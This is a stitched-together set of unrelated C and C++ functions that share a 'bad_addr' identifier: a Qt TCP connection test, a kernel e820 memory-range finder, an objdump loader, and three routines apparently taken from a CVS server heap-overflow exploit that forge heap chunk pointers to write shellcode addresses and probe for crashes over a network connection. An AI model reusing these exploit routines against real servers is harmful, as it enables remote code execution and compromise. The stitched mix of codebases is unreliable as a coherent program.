void memcpy_addr(ulong eipaddr, ulong shelladdr, int sz) { int aff = (sz / 4) / PCNT, j; if (!cur_num) nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++)); putchar('['); for (j = 0; j != PCNT; j++) putchar(' '); putchar(']'); for (j = 0; j != PCNT + 1; j++) putchar('\b'); fflush(stdout); for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++) { if (j == aff) { putchar('#'); fflush(stdout); j = 0; } if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr)) nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++)); } printf("#\t"); fflush(stdout); return; }
TEST(EdgeTest, TcpFail) { Timer::GetInstance().UseRealTime(); const TcpAddress addr("127.0.0.1", 33347); TcpEdgeListener te(addr); te.Start(); MockEdgeHandler meh(&te); SignalCounter sc(1); QObject::connect(&te, SIGNAL(EdgeCreationFailure(const Address &, const QString &)), &sc, SLOT(Counter())); TcpAddress any; te.CreateEdgeTo(any); MockExecLoop(sc); EXPECT_EQ(sc.GetCount(), 1); sc.Reset(); TcpAddress other_addr("255.255.255.255.", 1111); te.CreateEdgeTo(other_addr); MockExecLoop(sc); EXPECT_EQ(sc.GetCount(), 1); sc.Reset(); TcpAddress bad_addr(QUrl("tcp://ha!")); te.CreateEdgeTo(bad_addr); MockExecLoop(sc); EXPECT_EQ(sc.GetCount(), 1); sc.Reset(); TcpAddress another_addr("5.5.5.5", 12345); te.CreateEdgeTo(another_addr); MockExecLoop(sc); EXPECT_EQ(sc.GetCount(), 1); }
void memcpy_remote(ulong range, ulong addr, uchar * buf, int sz) { int i; if (sz <= 0) return ; if (!cur_num) nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++)); for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--) { range &= 0xFFFFFF00; range += buf[i]; if (!bad_addr(SET_FD(addr)) && !bad_addr(range)) nprintf(build_chunk(addr, UNSET_BK(range), cur_num++)); } return; }
int range_crashed(int addr, int addr2) { char * buf; cvs_conn(); nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++)); for (; addr < addr2; addr += 8) if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4))) nprintf(build_chunk(addr, addr + 4, cur_num++)); memcpy_flush(); nprintf(CVS_FLUSH); buf = flush_sock(); if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW) || strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2)) { nclose(); return (0); } #ifdef SHITTEST sleep(333); #endif nclose(); return (1); }
/* * Find a free area in a specific range. */ unsigned long __init find_e820_area(unsigned long start, unsigned long end, unsigned size) { int i; for (i = 0; i < e820.nr_map; i++) { struct e820entry *ei = &e820.map[i]; unsigned long addr = ei->addr, last; if (ei->type != E820_RAM) continue; if (addr < start) addr = start; if (addr > ei->addr + ei->size) continue; while (bad_addr(&addr, size) && addr+size < ei->addr + ei->size) ; last = addr + size; if (last > ei->addr + ei->size) continue; if (last > end) continue; return addr; } return -1UL; }
static void load_objdump (uint64_t n_bytes, void *memp) { FILE *fpi; char line [LINESIZE], *p; int line_num, n, n_initialized, is_text_start = 0; uint64_t addr_exp = 0, addr; uint8_t *p1 = memp; // Byte pointer uint32_t *p4; // Word pointer uint32_t instr; fpi = fopen (objdump_filename, "r"); if (fpi == NULL) { fprintf (stderr, "ERROR: load_objdump: could not open objdump input file: %s\n", objdump_filename); exit (1); } line_num = 0; n_initialized = 0; while (1) { p = fgets (line, LINESIZE, fpi); if (p == NULL) break; line_num++; // Address lines, like: // 0000000000010000 <_start>: p = strstr (line, ">:"); if (p != NULL) { sscanf (line, "%" SCNx64, & addr); if (addr < addr_exp) { fprintf (stderr, "WARNING: load_objdump: expecting addr >= %0" PRIx64 ", but this line has addr %0" PRIx64 "\n", addr_exp, addr); } addr_exp = addr; // printf ("@%0" PRIx64 " // L%0d: %s", addr_exp, line_num, line); if (bad_addr (addr_exp, n_bytes)) goto err_exit; if (addr_exp < min_addr) min_addr = addr_exp; if (max_addr < addr_exp) max_addr = addr_exp; // Execution should begin at 'boot_main' p = strstr (line, "<boot_main>"); if (p != NULL) { printf ("INFO: load_objdump: 0x%0" PRIx64 " L%0d: %s", addr_exp, line_num, line); pc_boot_main = addr_exp; } continue; } // Regular instruction lines, like: // 10000: f7bf0013 add sp,sp,-64 n = sscanf (line, "%" SCNx64 ":%x", & addr, & instr); if (n == 2) { // printf ("%08x // L%0d: %s", instr, line_num, line); if (bad_addr (addr, n_bytes)) goto err_exit; if (addr_exp != addr) { fprintf (stderr, "ERROR: load_objdump: expecting addr %0" PRIx64 ", but this line has addr %0" PRIx64 "\n", addr_exp, addr); goto err_exit; } if (addr < min_addr) min_addr = addr; if (max_addr < addr) max_addr = addr; if (is_text_start) { min_text_addr = addr; printf ("INFO: load_objdump: Section .text starts at 0x%0" PRIx64 "\n", addr); is_text_start = 0; } p4 = (uint32_t *) (p1 + addr); *p4 = instr; n_initialized++; addr_exp += 4; continue; } // Detect start of text section p = strstr (line, "section .text:"); if (p != NULL) { is_text_start = 1; continue; } // Detect end of text section (start of .rodata) p = strstr (line, "section .rodata:"); if (p != NULL) { printf ("INFO: load_objdump: Section .rodata starts at 0x%0" PRIx64 "\n", addr_exp); printf (" Setting .text end to 0x%0" PRIx64 "\n", addr_exp - 4); max_text_addr = addr_exp - 4; continue; } // Detect start of other necessary sections: .data, .bss p = strstr (line, "section .data:"); if (p != NULL) { printf ("INFO: load_objdump: Section .data found at 0x%0" PRIx64 "\n", addr_exp); continue; } p = strstr (line, "section .bss:"); if (p != NULL) { printf ("INFO: load_objdump: Section .bss found at 0x%0" PRIx64 "\n", addr_exp); continue; } // Quit at any other section p = strstr (line, "section"); if (p != NULL) { printf ("INFO: load_objdump: Quitting at: %s", line); break; } // Ignore all other lines // printf ("// L%0d: %s", line_num, line); } printf ("INFO: load_objdump: %0d lines, %0d locations initialized\n", line_num, n_initialized); printf ("INFO: load_objdump: Min addr: 0x%0" PRIx64 "\n", min_addr); printf ("INFO: load_objdump: Max addr: 0x%0" PRIx64 "\n", max_addr); fclose (fpi); return; err_exit: fprintf (stderr, " in line %0d: %s", line_num, line); exit (1); }